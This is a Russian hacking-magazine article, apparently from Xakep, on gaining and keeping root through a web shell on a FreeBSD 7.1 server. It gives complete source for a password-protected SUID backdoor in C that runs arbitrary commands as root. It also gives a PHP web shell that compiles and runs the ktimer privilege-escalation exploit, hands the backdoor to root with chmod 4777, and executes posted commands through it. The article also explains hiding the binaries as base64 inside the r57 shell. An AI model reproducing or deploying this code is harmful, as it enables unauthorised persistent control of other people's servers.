Сегодня мы с тобой свершим переворот в сложившихся устоях мира. Наверняка, ты
уже имел дело с web-shell’ами, такими как r57, c99, WSO2 и иже с ними. Так, вот
о чем я — уверен, зайдя на свежезалитый шелл, ты первым делом смотришь свои
права в системе, а именно – результат команды "id" в nix-like системах. Вот, к
примеру, наши права по дефолту uid=80, то есть права обычного юзера www! Не
отчаивайся, мы научимся поднимать их до r00t’a и сохранять (!) непосредственно в
веб-шелле. Это мечта любого хакера.

 

Немного теории

SUID — расшифровывается как Set user ID, переводится с забугорного –
"установить идентификатор пользователя". Если установлены права доступа SUID и
файл исполняемый (то есть наш будущий бинарник), то при выполнении этот файл
получает не права запустившего его (www), а права владельца файла.

Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости
в программном обеспечении и применяемая для повышения привилегий (получения
рута). Это был вольный пересказ Википедии.

Root, суперпользователь — специальный аккаунт в UNIX-подобных системах с
идентификатором (UID) 0, владелец которого имеет право на выполнение всех без
исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки
Администратора в Windows). Тоже вольный пересказ Википедии.

Итак, с теорией покончили (надеюсь, было нескучно). Движемся далее…

 

Наполеоновские планы

Затея у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.
Нам предстоит удивить всех рутовым web-шеллом, которого нет ни у кого! А именно,
предстоит:

  1. Составить задачу и продумать алгоритм работы нашего чудо-шелла
  2. Накодить SUIDник
  3. Накодить непосредственно сам web-Shell
  4. Связать все эти прелести чудесных языков программирования
  5. Таки получить и сохранить r00t’a на вражеском сервере
 

Первым делом, первым делом… алгоритмы

Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения
рута. Сразу предупрежу, что тестировать наше детище мы будем на сервере с
установленной FreeBSD 7.1 (причины сего деяния оглашу позже).

Смысл всей затеи состоит в следующем — мы запустим эксплоит из Web’а, то есть
непосредственно из нашего любимого браузера, установим суидные права и сменим
хозяина (owner’a) нашему суиднику и наконец-таки будем выполнять команды под
рутом.

Почему же мы выбрали для теста именно FreeBSD 7.1? Все гениальное просто. Мы
ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий
эксплойт ktimer.
Прелесть в том, что результат его работы — не получение /bin/sh, а установка uid=0,
gid=0 вызывающему процессу. Это-то нам и нужно.

 

Пишем SUIDник

От слов к делу, – я сразу приведу листинг кода, а уж после будем с тобой его
разбирать.

#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1],"cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными ранее правами
system(argv[2]);
}
}
return 0;
}

Думаю, глядя на комментарии, уже становится ясен смысл нашей программы.

Сначала мы проверяем количество аргументов – их должно быть три: argv[0] –
имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]-
непосредственно сама команда.

Разберемся с некоторыми моментами работы с бинарными файлами при
установленном SUID-бите, дабы не возвращаться к этому позднее.

  1. -rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid
    Файл suid с правами доступа -rwxr-x—x, то есть хозяин файла (www) может
    читать, изменять и запускать на исполнение; члены группы (apache) могут
    читать и запускать файл на исполнение, а все остальные пользователи могут
    лишь запускать на исполнение.
    К примеру, результат команды id через наш файл для членов группы site будет
    подобным uid=80(site), gid=80(site), groups=80(apache)
  2. Устанавливаем бит SUID на файл командой chmod 4751 suid
    -rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid
    Наверняка, ты заметил, что символ x (запуск на исполнение) сменился на s (SUID
    бит). Как мы уже знаем, бинарник с суид битом будет выполняться не от имени
    вызывающего, а от имени хозяина (owner’a). Опять же, результат команды id
    через наш файл для членов группы site будет подобным uid=80(www), gid=80(www),
    groups=80(apache).
  3. Забегая вперед, обозначим, что нам придется сменить владельца файла. Мы
    это сделаем под рутом командой chown root suid.
    -rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid
    И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root),
    groups=80(apache). Исходя из этого, уже видно, что любой пользователь
    системы, даже не входя в состав группы хозяина, имеет право на запуск
    бинарника, да мало того, еще и с правами хозяина, то бишь рута, так как
    установлен SUID-бит.

Так-с, с этим разобрались. Осталась самая малость, – скомпилировать файл.
Делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.
Пример использования будет таков – "./suid cool_hack id" (имя файла, пароль,
команда)

 

Начинаем ][-кодинг

<?php
/************************* CONFIGURATION **************************************/
$pass_suid = 'cool_hack'; // пароль, который мы установили в сорцах суидника
/************************* END CONFIGURATION **********************************/

/************************* FUNCTIONS ******************************************/

/*
Наша функция по выполнению команд
Если существует файл /tmp/conf (так мы замаскировали наш суидник),
то выполнение команд идет через него, иначе просто функцией system.
*/
function hack_system($cmd,$pass_suid)
{
if(file_exists('/tmp/conf')){
system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));
}
else{
system($cmd);
}

}

/*
Вот и главная функция, которая скопирует наш эксплойт и суидник,
скомпилирует их и запустит
*/
function give_me_root()
{
// компилируем эксплойт
system('gcc bsd-ktimer.c -o /tmp/configure');
// компилируем суидник
system('gcc suid.c -o /tmp/conf');
// запускаем сплойт, меняем "овнера" суиднику и устанавливаем права
system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');
return print 'OK!';
}

/************************* END FUNCTIONS **************************************/

print
'<html>'.
'<head>'.
'<title>r00t web-shell</title>'.
'</head>'.
'<body>';

/************************* MAIN CODE ******************************************/

/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd'])){
print '<form method="post">'.
'<input name="cmd" type="text" value="ls -lia">'.
'<input type="submit" value="Go">'.
'</form><br><br>';
}
else
{
hack_system($_POST['cmd'],$pass_suid);
}

/*
Выводим заветную кнопочку для получения рута
*/
if(!isset($_POST['give_me_root'])){
print '<form method="post">
<input type="submit" name="give_me_root" value="Give me r00t">
</form>';
}
else
{
give_me_root();
}
/************************* END CODE *******************************************/
print
'</body>'.
'</html>';
?>

 

Интеграция, адаптация и прочие непонятные слова

В итоге мы таки получили рута! При последующем посещении web-шелла мы уже
будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его).

Однако шелл у нас получился довольно примитивный; чтобы интегрировать наши
прелести в привычные шелла типа r57, c99, WSO2 и т.д., принцип работы тот же.

На диске ты найдешь подправленный
мной код шелла r57. Единственное, что отличает подправленный r57 от того,
который мы сегодня написали, – в r57 я эксплойт и суид-шелл скомпилировал,
перевел полученные бинарники в base64 и вставил полученный код в сам шелл. Далее
мы расшифровываем base64 код и сохраняем в файл. Таким образом, у нас получается
один файл, – это удобнее в плане транспортирования и заливки.

С интеграцией в другие шеллы разобрались, осталось разобрать ситуацию с
применением эксплойтов для других операционных систем и других версий. Причина,
по которой я выбрал для теста FreeBSD – в том, что этот эксплойт под версию 7.1
и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались
при простом бекконекте, а возвращает uid и gid 0 для текущего процесса. То есть
является универсальным. Последний способ для нас удачен, так как мы можем
использовать его непосредственно из web’a. Так мы пришли к выводу, что для
использования эксплойта с нашими условиями необходимо переписать эксплойты,
чтобы они устанавливали uid, gid. Как это организовать — история уже для другой
статьи.

 

Итоги наших приключений

Сразу хочется отметить плюсы и минусы этого подхода к получению рута.

 

Плюсы

  • Получаем права Root на веб-шелле
  • Не нужен сервер для бекконекта
  • Обход файрвола, так как нет исходящих соединений, бинда порта и т.д. (а
    зачастую это большая проблема для создания бекконекта)
 

Минусы

  • Пока есть малое количество эксплойтов, которые мы можем использовать;
    остальные нужно редактировать
  • Если наш шелл попадет к недругам, либо просто к нечистым на руку, то
    злодеи получат уже готовенький root-шелл без особых усилий. Так что
    защищайте свой шелл!
 

WWW


http://milw0rm.com/exploits/8261
— эксплоит bsd-ktimer.c.

http://wiki.kryukov.biz/wiki/Специальные_права
— описание SUID, SGID и Stiky
битов.

 

DANGER

Внимание! Редакция журнала и автор не несут ответственности за вред,
возможно, причиненный при использовании методов и файлов данной статьи. Статья
представлена только для ознакомления в образовательных целях.

 

INFO

Выражаю благодарность за советы, тестирование и помощь следующим
подозрительным личностям — IceAngel_, oRb, jokester.

Оставить мнение

Check Also

Твой тайный туннель. Детальный гайд по настройке OpenVPN и stunnel для создания защищенного канала

У тебя могут быть самые разные мотивы, чтобы пользоваться VPN: недоверенные сети, разного …